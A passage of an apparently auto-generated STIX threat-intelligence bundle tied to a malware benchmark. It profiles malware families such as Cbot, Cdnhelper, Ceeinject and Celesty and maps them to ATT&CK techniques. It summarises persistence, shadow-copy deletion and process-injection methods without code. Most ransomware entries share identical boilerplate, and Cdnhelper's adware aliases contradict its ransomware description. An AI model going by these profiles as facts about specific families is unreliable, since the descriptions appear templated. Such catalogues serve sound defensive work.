      "id": "relationship--2a2d20f7-043a-51ec-8942-216f5a7a0276",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6310df6c-ed89-5073-a354-984ef4a24422",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Caxnet exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--248213c8-ab12-5205-949d-7852b28b758b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6310df6c-ed89-5073-a354-984ef4a24422",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Caxnet exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4877856b-a7c2-5789-83b1-9bf29e75b585",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cbot",
      "description": "Cbot (classified in antivirus detection telemetry under designations including Ransom:Win32/Cbot, Ransom.Win32.Cbot, and Win32/Cbot) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Cbot executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Cbot",
        "Ransom.Win32.Cbot",
        "Win32/Cbot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9035b5ec-589e-5414-b2c8-d54942023168",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4877856b-a7c2-5789-83b1-9bf29e75b585",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cbot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2c32b53-2ed3-5b7e-8c3f-b2854e581708",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4877856b-a7c2-5789-83b1-9bf29e75b585",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cbot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f21eaabd-c333-5bb7-8532-12d318609146",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4877856b-a7c2-5789-83b1-9bf29e75b585",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cbot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab35e65c-56f0-5d9e-84bd-5c68d74a247b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4877856b-a7c2-5789-83b1-9bf29e75b585",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cbot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0efe0c4e-c47d-5896-8796-ef91c9b086d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4877856b-a7c2-5789-83b1-9bf29e75b585",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cbot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c9e59dff-7075-5e7e-8a2e-911f08b0b139",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cdnhelper",
      "description": "Cdnhelper (classified in antivirus detection telemetry under designations including Ransom:Win32/Cdnhelper, Ransom.Win32.Cdnhelper, and Win32/Cdnhelper) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Cdnhelper executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.CDNHelper",
        "PUP.CDNHelper",
        "BrowserModifier:Win32/CDNHelper",
        "Ransom:Win32/Cdnhelper",
        "Ransom.Win32.Cdnhelper",
        "Win32/Cdnhelper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cdnhelper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cdnhelper"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8ced05b-dd2f-5afa-bffd-ef09bed3cfca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9e59dff-7075-5e7e-8a2e-911f08b0b139",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cdnhelper exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20f81201-3fb6-5397-8fa1-739fa2f7a78c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9e59dff-7075-5e7e-8a2e-911f08b0b139",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cdnhelper exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00e55947-b4fe-551e-a7f5-7af6c1c68662",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9e59dff-7075-5e7e-8a2e-911f08b0b139",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cdnhelper exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--26a255ca-7b02-59ad-93ae-67c0b04c287a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cdvq",
      "description": "Cdvq (classified in antivirus detection telemetry under designations including Ransom:Win32/Cdvq, Ransom.Win32.Cdvq, and Win32/Cdvq) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Cdvq executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Cdvq",
        "Ransom.Win32.Cdvq",
        "Win32/Cdvq"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cdvq",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cdvq"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--039f7785-d356-57d3-98f9-51c1648304d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26a255ca-7b02-59ad-93ae-67c0b04c287a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cdvq exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb66e5a6-f2a2-5c1a-910f-a3d00d368c83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26a255ca-7b02-59ad-93ae-67c0b04c287a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cdvq exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--802e8a38-35a0-5e1c-9bdd-c83df7d278d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26a255ca-7b02-59ad-93ae-67c0b04c287a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cdvq exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d871e4b-3c7d-5e3b-8754-f4d9736715a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26a255ca-7b02-59ad-93ae-67c0b04c287a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cdvq exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6f35e84-2354-5a94-9239-0c45af9097cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26a255ca-7b02-59ad-93ae-67c0b04c287a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cdvq exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--055773c1-09ff-5ef6-b373-c8cabb39079d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cebot",
      "description": "Cebot (classified in antivirus detection telemetry under designations including Ransom:Win32/Cebot, Ransom.Win32.Cebot, and Win32/Cebot) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Cebot executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Cebot",
        "Ransom.Win32.Cebot",
        "Win32/Cebot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cebot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cebot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ddd7808-2fb9-5d8c-9313-144c8a3cf70d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--055773c1-09ff-5ef6-b373-c8cabb39079d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cebot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d8c5f3a-b0a1-59b7-b5f9-12302e27dd14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--055773c1-09ff-5ef6-b373-c8cabb39079d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cebot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--504c9b7a-3ec7-5962-97b1-4ac80202f6bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--055773c1-09ff-5ef6-b373-c8cabb39079d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cebot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47d91b0d-d76d-5fb9-b525-bf63129ee3c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--055773c1-09ff-5ef6-b373-c8cabb39079d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cebot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc102c14-4c73-5e79-b3be-9425e86a13e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--055773c1-09ff-5ef6-b373-c8cabb39079d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cebot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0fef7d5d-8a65-5bcc-ab97-688632a6d3d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ceckno",
      "description": "Ceckno (classified in antivirus detection telemetry under designations including Ransom:Win32/Ceckno, Ransom.Win32.Ceckno, and Win32/Ceckno) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Ceckno executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Ceckno",
        "Ransom.Win32.Ceckno",
        "Win32/Ceckno"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ceckno",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ceckno"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edb7d673-e84e-52ad-8993-c0ed7e541d22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fef7d5d-8a65-5bcc-ab97-688632a6d3d4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ceckno exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4b345d4-25e8-5408-8788-47fb2a411c0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fef7d5d-8a65-5bcc-ab97-688632a6d3d4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ceckno exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2a81bfe-566b-5f95-b478-db97cbe8de2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fef7d5d-8a65-5bcc-ab97-688632a6d3d4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ceckno exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99d9cb3e-133d-59b5-bc0d-d8fceccdcb4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fef7d5d-8a65-5bcc-ab97-688632a6d3d4",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ceckno exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ed415b8-a22f-5097-8b76-36efdeb8df8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0fef7d5d-8a65-5bcc-ab97-688632a6d3d4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ceckno exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bdbe702d-ef31-545b-9bea-4ecdb010ac8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ceeinject",
      "description": "Ceeinject (cataloged across security vendors and threat intelligence databases under signatures including VirTool:Win32/CeeInject, Trojan:Win32/Ceeinject, and CeeInject.gen) is a specialized process-injection utility and malicious stager family active since 2014. Rather than functioning as a standalone endpoint threat, Ceeinject acts as an evasion tool abused by diverse trojans, infostealers, and ransomware. Upon execution, Ceeinject allocates memory within legitimate running Windows processes (such as explorer.exe or svchost.exe) using VirtualAllocEx, writes malicious shellcode into the allocated region via WriteProcessMemory, and creates a remote execution thread via CreateRemoteThread or APC injection. By executing malicious code within the context of trusted system binaries, Ceeinject bypasses local firewalls and static antivirus scanners. (Observed samples in benchmark: 42)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VirTool:Win32/CeeInject",
        "Trojan:Win32/Ceeinject",
        "CeeInject.gen",
        "Win32/CeeInject",
        "VirTool:Win32/CeeInject.gen!A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ceeinject",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ceeinject"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0e3df17a-6581-5a1b-8361-722029d49e0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cekar",
      "description": "Cekar (classified in antivirus detection telemetry under designations including Ransom:Win32/Cekar, Ransom.Win32.Cekar, and Win32/Cekar) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Cekar executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Cekar",
        "Ransom.Win32.Cekar",
        "Win32/Cekar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cekar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cekar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b00e0863-6ba1-5005-9b64-2c3911fc4193",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e3df17a-6581-5a1b-8361-722029d49e0c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cekar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ad1b581-bc4a-542c-a156-badd5bcd4144",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e3df17a-6581-5a1b-8361-722029d49e0c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cekar exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85dbe197-b362-51c3-93fc-c1a6e5fe662a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e3df17a-6581-5a1b-8361-722029d49e0c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cekar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb7bd468-28a8-5086-b48b-15a02b650347",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e3df17a-6581-5a1b-8361-722029d49e0c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cekar exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9271c5d4-1842-540b-8b35-952bedd2831c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e3df17a-6581-5a1b-8361-722029d49e0c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cekar exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--760faa6d-4f89-50a1-8544-be9254f0a4cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Celesty",
      "description": "Celesty (often referenced as Celesty Binder or Celesty RAT) is a malicious utility designed to bundle multiple executable files together and facilitate remote backdoor access. As a binder, it takes a clean, legitimate host file (like a PDF reader or image viewer installer) and merges it with a hidden malicious payload. When the user executes the resulting hybrid file, both the legitimate application and the malware run simultaneously, heavily masking the malicious activity. The payload frequently dropped is the Celesty RAT, a feature-rich Remote Access Trojan capable of comprehensive system surveillance. The RAT can log keystrokes, manage files, manipulate the Windows Registry, and establish a persistence mechanism via the Startup folder or Run keys. Due to its dual nature as both a binder and a RAT, Celesty has been popular among amateur cybercriminals and script kiddies who rely on social engineering to trick victims into executing seemingly benign files. (Observed samples in benchmark: 34)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Celesty Binder",
        "Celesty RAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Celesty",
